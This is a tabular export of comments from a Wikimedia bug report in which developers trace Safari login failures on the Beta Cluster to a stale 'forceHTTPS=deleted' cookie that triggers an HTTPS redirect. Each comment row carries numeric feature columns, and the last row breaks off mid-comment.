332450,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",Is this still 'unbreak now'?,,,1416833965,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.875,Is this still 'unbreak now'?
315489,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","(In reply to Dan Duvall from comment #22)
> A brief summary of what we observed while troubleshooting (Chris, please
> correct me if this is wrong/incomplete): Safari's behavior seems
> intermittently incorrect in that it includes the ""forceHTTPS=deleted"" cookie
> in requests following the explicit expiration of the cookie. The subsequent
> submission of the literal ""deleted"" cookie value causes a redirect to https.

Yep, that's all correct. On the MediaWiki side, we check for the presence of a forceHTTPS cookie in MediaWiki.php, so when safari hands us back the cookie forceHTTPS=deleted, it triggers the redirect to https.

The check could ensure that the cookie value isn't ""deleted"", since we set it to 1 when we want users to stay in https.",,,1409788557,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,5.0,14.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,14.0,4.0,0.0,9.0,0.0,0.0,0.0,1.0,2.0,0.0,3.0,0.0,6.0,14.0,11.0,0.0,2.0,0.0,6.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,3.5789473684210527,0.631578947368421,"(In reply to Dan Duvall from comment #22)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yep, that's all correct. On the MediaWiki side, we check for the presence of a forceHTTPS cookie in MediaWiki.php, so when safari hands us back the cookie forceHTTPS=deleted, it triggers the redirect to https.

The check could ensure that the cookie value isn't ""deleted"", since we set it to 1 when we want users to stay in https."
315481,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","Chris, I've attached the tcpflow logs from our troubleshooting session. Let me know if there's anything else that would be helpful.

A brief summary of what we observed while troubleshooting (Chris, please correct me if this is wrong/incomplete): Safari's behavior seems intermittently incorrect in that it includes the ""forceHTTPS=deleted"" cookie in requests following the explicit expiration of the cookie. The subsequent submission of the literal ""deleted"" cookie value causes a redirect to https.",,,1409786592,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,1.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,1.0,5.0,2.0,2.0,12.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,8.0,4.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,6.0,12.0,3.0,0.0,4.0,0.0,6.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,4.612903225806452,0.7526881720430108,"Chris, I've attached the tcpflow logs from our troubleshooting session. Let me know if there's anything else that would be helpful.

A brief summary of what we observed while troubleshooting (Chris, please correct me if this is wrong/incomplete): Safari's behavior seems intermittently incorrect in that it includes the ""forceHTTPS=deleted"" cookie in requests following the explicit expiration of the cookie. The subsequent submission of the literal ""deleted"" cookie value causes a redirect to https."
315474,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","Created attachment 16357
tcpflow log of successful login attempt in Safari (no redirect to https)

**Attached**: {F14420}",,,1409786257,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8214285714285716,0.8928571428571429,"Created attachment 16357
tcpflow log of successful login attempt in Safari (no redirect to https)

**Attached**: {F14420}"
315464,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","Created attachment 16356
tcpflow log of successful login attempt in Safari (redirected to https)

//attachment safari-beta-login-pcap-success.log ignored as obsolete//",,,1409786215,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.565217391304348,1.0,"Created attachment 16356
tcpflow log of successful login attempt in Safari (redirected to https)

//attachment safari-beta-login-pcap-success.log ignored as obsolete//"
315457,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","Created attachment 16355
tcpflow log of failed login attempt in Safari (redirected to https)

**Attached**: {F14419}",,,1409786184,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.814814814814815,0.8888888888888888,"Created attachment 16355
tcpflow log of failed login attempt in Safari (redirected to https)

**Attached**: {F14419}"
315451,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","For me, it's redirecting to https on the final CA login redirect. Authentication seems to complete as I can navigate to an http URL from there and I appear to be logged in.

  GET /wiki/Special:CentralLogin/complete?token=<redacted> HTTP/1.1
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2
  ...


  HTTP/1.1 302 forced.302
  Location: https://en.wikipedia.beta.wmflabs.org/wiki/Special:CentralLogin/complete?token=<redacted>
  ...",,,1409766836,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,13.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,31.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,13.0,17.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,4.511904761904762,0.7976190476190477,"For me, it's redirecting to https on the final CA login redirect. Authentication seems to complete as I can navigate to an http URL from there and I appear to be logged in.

  GET /wiki/Special:CentralLogin/complete?token=<redacted> HTTP/1.1
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2
  ...


  HTTP/1.1 302 forced.302
  Location: URL
  ..."
315447,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","(In reply to Ryan Kaldari from comment #10)
> On a totally reset installation of Safari going to...
> http://en.m.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin
> ... and logging in sporadically fails for me on both desktop and mobile
> Safari.

If it's sporadic, then it might be a cache issue-- someone with a forceHTTPS cookie is hitting the page, the redirect is being served and cached, and varnish is ignoring the vary header.

That, or Safari thinks it should always use ssl. We've never sent hsts headers for that domain.

I'll try to get someone in the office to use my laptop as a proxy, and I can see what exactly is being sent.",,,1409765302,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,1.5,0.0,3.0,0.0,1.5,0.5,0.0,0.0,0.5,2.5,2.0,0.0,0.0,0.0,3.5,0.0,3.5,7.0,1.5,2.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,1.0,0.0,5.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,5.0,4.5,8.5,0.5,3.0,6.5,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,5.5,7.0,4.5,0.0,0.0,0.0,5.5,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,3.5555555555555554,0.7777777777777777,"(In reply to Ryan Kaldari from comment #10)
QUOTE
QUOTE
QUOTE
QUOTE

If it's sporadic, then it might be a cache issue-- someone with a forceHTTPS cookie is hitting the page, the redirect is being served and cached, and varnish is ignoring the vary header.

That, or Safari thinks it should always use ssl. We've never sent hsts headers for that domain.

I'll try to get someone in the office to use my laptop as a proxy, and I can see what exactly is being sent."
315445,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",My Safari is also stock. It seems that first the user is redirected to Special:CentralLogin/complete and then to Main Page (or wherever they came from). I've seen it fail on both.,,,1409764873,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,20.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6341463414634148,0.9024390243902439,My Safari is also stock. It seems that first the user is redirected to Special:CentralLogin/complete and then to Main Page (or wherever they came from). I've seen it fail on both.
315444,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",Chris/Tyler: Any ideas on why Safari would be unable to login on Beta Cluster?,,,1409759635,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,33.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,17.0,28.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.611111111111111,0.9444444444444444,Chris/Tyler: Any ideas on why Safari would be unable to login on Beta Cluster?
315441,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","(In reply to Maryana Pinchuk from comment #0)
> You'll get taken to a ""Safari cannot open page because it could not connect
> to the server"" page. Makes testing new mobile features very difficult :(

My stock install of Safari on my laptop also had this problem on my first try logging in to beta labs. :-(",,,1409759251,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,21.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,8.0,21.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5128205128205128,0.8717948717948718,"(In reply to Maryana Pinchuk from comment #0)
QUOTE
QUOTE

My stock install of Safari on my laptop also had this problem on my first try logging in to beta labs. :-("
315437,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","(In reply to Greg Grossmeier from comment #12)
> Obvious question: SSL Everywhere installed? If so, tried disabling?

I think my Safari is completely stock. I never use it because Safari. :)",,,1409758673,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,27.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,13.0,13.0,13.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,0.9,"(In reply to Greg Grossmeier from comment #12)
QUOTE

I think my Safari is completely stock. I never use it because Safari. :)"
315431,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","Obvious question: SSL Everywhere installed? If so, tried disabling?",,,1409758297,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.538461538461538,0.9230769230769231,"Obvious question: SSL Everywhere installed? If so, tried disabling?"
315425,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","I'm seeing the same behavior as Bryan, it's trying to redirect to https://en.m.wikipedia.beta.wmflabs.org/wiki/Main_Page which is failing.",,,1409704355,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,15.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,15.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,3.6,0.95,"I'm seeing the same behavior as Bryan, it's trying to redirect to URL which is failing."
315419,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","On a totally reset installation of Safari going to...
http://en.m.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin
... and logging in sporadically fails for me on both desktop and mobile Safari.",,,1409704165,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,21.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,4.142857142857143,0.8571428571428571,"On a totally reset installation of Safari going to...
URL
... and logging in sporadically fails for me on both desktop and mobile Safari."
315412,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",I am guessing that your local browser actually wants to log in securely (beta labs stopped listening for https traffic a while back): https://bugzilla.wikimedia.org/show_bug.cgi?id=68387,,,1409703382,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,15.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,4.384615384615385,1.0,I am guessing that your local browser actually wants to log in securely (beta labs stopped listening for https traffic a while back): URL
315406,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",It's currently working for me from an iPhone.,,,1409703023,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,10.0,0.0,0.0,0.0,20.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,3.8,1.0,It's currently working for me from an iPhone.
315402,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",I'm getting redirected to the ssl version of https://en.wikipedia.beta.wmflabs.org when I login using Safari and that is broken. Not sure why the https redirect is happening.,,,1409702952,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,17.0,7.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,3.9655172413793105,0.8620689655172413,I'm getting redirected to the ssl version of URL when I login using Safari and that is broken. Not sure why the https redirect is happening.
315398,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","Changing summary accordingly.

Chris or anyone with a Macbook: can you reproduce?",,,1409702026,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.4375,1.0,"Changing summary accordingly.

Chris or anyone with a Macbook: can you reproduce?"
315396,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","It's constant now :( And yes, I just repro'ed on desktop Safari, too (good news is desktop Chrome is unaffected).",,,1409701817,,PHID-USER-yu5wnmvkjecufsjgh2fa,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,0.8846153846153846,"It's constant now :( And yes, I just repro'ed on desktop Safari, too (good news is desktop Chrome is unaffected)."
315394,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",The beta cluster was barely available since last friday so that might be related.  Do you reproduce the issue using a desktop browser?,,,1409297457,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.3076923076923075,1.0,The beta cluster was barely available since last friday so that might be related.  Do you reproduce the issue using a desktop browser?
315390,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","(In reply to Maryana Pinchuk from comment #0)
> I've observed this for a couple weeks now at various times on multiple iOS
> devices (iPhone 5 and iPad 2). It may be affecting all mobile devices, or
> maybe just Safari; not sure. 

